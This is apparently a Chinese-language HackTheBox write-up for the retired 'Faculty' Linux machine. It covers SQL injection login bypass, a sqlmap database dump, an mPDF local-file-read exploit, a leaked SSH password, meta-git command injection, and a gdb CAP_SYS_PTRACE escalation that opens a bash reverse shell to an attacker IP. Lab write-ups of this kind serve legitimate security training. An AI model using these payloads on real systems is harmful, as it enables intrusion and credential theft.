概述 (Overview)
HOST: 10.10.11.169
OS: LINUX
发布时间: 2022-07-02
完成时间: 2022-07-08
机器作者: gbyolo
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #SQLi #LFI #SourceCodeAnalysis #Capabilities
攻击链 (Kiillchain)
HTB 关于 Faculty
Faculty 是一台 Medium 等级的 Linux 机器,其特点是利用危险的 PHP 组件库,利用该库的本地文件读取可发现一个有效密码,该密码可用于通过 SSH 已 gbyolo
低用户身份进行登录。用户 gbyolo
有权作为 developer
用户运行名为 meta git
的 npm
包。而此服务器上安装的 meta git
版本易受代码注入的攻击,可以利用该版本将权限提升给用户 developer
。通过利用 CAP_SYS_PTRACE
功能将 shellcode 注入以 root
身份运行的进程,可以执行向 root
的权限提升。
枚举(Enumeration)
开始还是使用 Nmap 软件对目标服务器的开放端口进行识别:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA) | 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA) |_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://faculty.htb | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
从结果中获悉仅对外暴漏两个端口,其 Web 服务会重定向至 http://faculty.htb
域名。这将是进行大点的目标。
Port 80 - HTTP
浏览器简单访问下 Web服务,发起它是一个已 PHP 脚本运行的,其中 /login.php
需要一个有效的授权码才能访问。
简单使用了一下 SQL 注入语句,发现能被成功执行,从而使我们登录了该 Web 服务。
Payload ----> ' or ''='
随后对控制面板的功能进行检查,发现一个含 /admin/*
开头的路径,访问该路径可以进入后台管理面板。
在 Faculty List
页面中能够找到多组用户邮箱,但目前看下仅有 SQL 注入对我帮助最大。找到一个存在参数传递的请求,利用 Sqlmap
工具成功在 scheduling_db
库中找到一个管理员用户的 Hash。
$ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --data "id_no=" --dbs --batch
...snip...
---
Parameter: id_no (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id_no=' AND (SELECT 4056 FROM (SELECT(SLEEP(5)))iQiT) AND 'uDeb'='uDeb
---
...snip...
available databases [2]:
[*] information_schema
[*] scheduling_db
...snip...
Database: scheduling_db
[6 tables]
+---------------------+
| class_schedule_info |
| courses |
| faculty |
| schedules |
| subjects |
| users |
+---------------------+
...snip...
Database: scheduling_db
Table: users
[1 entry]
+----+---------------+------+----------------------------------+----------+
| id | name | type | password | username |
+----+---------------+------+----------------------------------+----------+
| 1 | Administrator | 1 | 1fecbe762af147c1176a0fc2c722a345 | admin |
+----+---------------+------+----------------------------------+----------+
...snip...
但是枚举这段 Hash 无法还原明文,尝试其他路径。因为前面的 SQL 注入漏洞,在 /admin/login.php
页面中可以已 admin 的用户进行登录。随后在 Course List
功能页面中发现存在 PDF 文件下载功能。
立足点(Foothold)
使用 exiftool 对 PDF 文件进行分析,可以在 Producer 段中看到它是由 mPDF 6.0
这个组件生成的。
从官方文件的描述中可以看到,它是通过传递的 html 字符串进行 PDF 文件生成的。结合 burp 抓到的请求包,简单测试下发现存在 SSRF 漏洞。
在官方的 issues
中,能够找到 6.0
版本中存在本地文件读取的漏洞,该漏洞利用内置的 <annotation
标签加载本地文件并生成至 PDF 内做附件显示。
https://github.com/mpdf/mpdf/issues/356
发送该 exploit 成功读取到 /etc/passwd
文件内容。
而 Web 应用的绝对路径可以在其他地方找到,因为错误信息未被抑制导致可以看到更多详情信息。
利用读取到源代码中的数据库连接密码进行 SSH 登录枚举,发现可以成功登录 gbyolo
用户。
$ sshpass -p 'Co.met06aci.dly53ro.per' ssh gbyolo@10.10.11.169
横向移动(Lateral Movement)
首先检查下 sudo
权限配置,发现当前用户可以用 developer
用户免密操作 meta-git
。
gbyolo@faculty:~$ sudo -l
[sudo] password for gbyolo:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
gbyolo@faculty:~$ ls -lsh /usr/local/bin/meta-git
0 lrwxrwxrwx 1 root root 41 Nov 10 2020 /usr/local/bin/meta-git -> ../lib/node_modules/meta-git/bin/meta-git
通过检索 meta-git 可以获知它是一个 NPM 工具,它是用来管理 git 存储库类似对 git 命令做了次封装。详见官方库:https://github.com/mateodelnorte/meta-git
但在 /var/mail
下也可以找到一封邮件内容。
在未找到更多可用信息的情况下,将 pspy
工具传递至服务器并运行进行监听。发现每隔几分钟 sendmail.sh
脚本会被执行,但目前用户是没权限进行查看该脚本的。
通过查询 meta-git 的历史漏洞,发现其历史版本中存在一个命令执行。
详情可以在 https://hackerone.com/reports/728040 中查看到,运行 clone
参数时其未对内容做安全校验导致可以进行命令注入进行RCE。直接利用该 payload 成功读取 User Flag。
随后继续使用该 payload 将 kali 机的公钥写入 authorized_keys 文件,实现免密登录完成用户横向移动
echo c3NoLXJzYSBBQUFB....0QGthbGkK|base64 -d > /home/developer/.ssh/authorized_keys
权限提升(Privilege Escalation)
首先去看了前面提到的脚本,发现对我们没有什么帮助。继续运行 linpeas.sh
脚本进一步收集信息。
在 linpeas 的结果中发现当前用户所属组 debug 是可以访问 gdb 调试软件的,并且还存在 cap_sys_ptrace+ep
功能。而它可以用于往主机内运行的某个进程中注入 shellcode 来进行权限提升。
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_ptrace
参考上面的文章内容,找了个 root 用户运行的 python3 进程进行操作,成功反弹 NC 会话完成权限提升。
ps -auxwww | grep python3
gdb -p <PID>
gdb>call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.x.x/9001 0>&1'")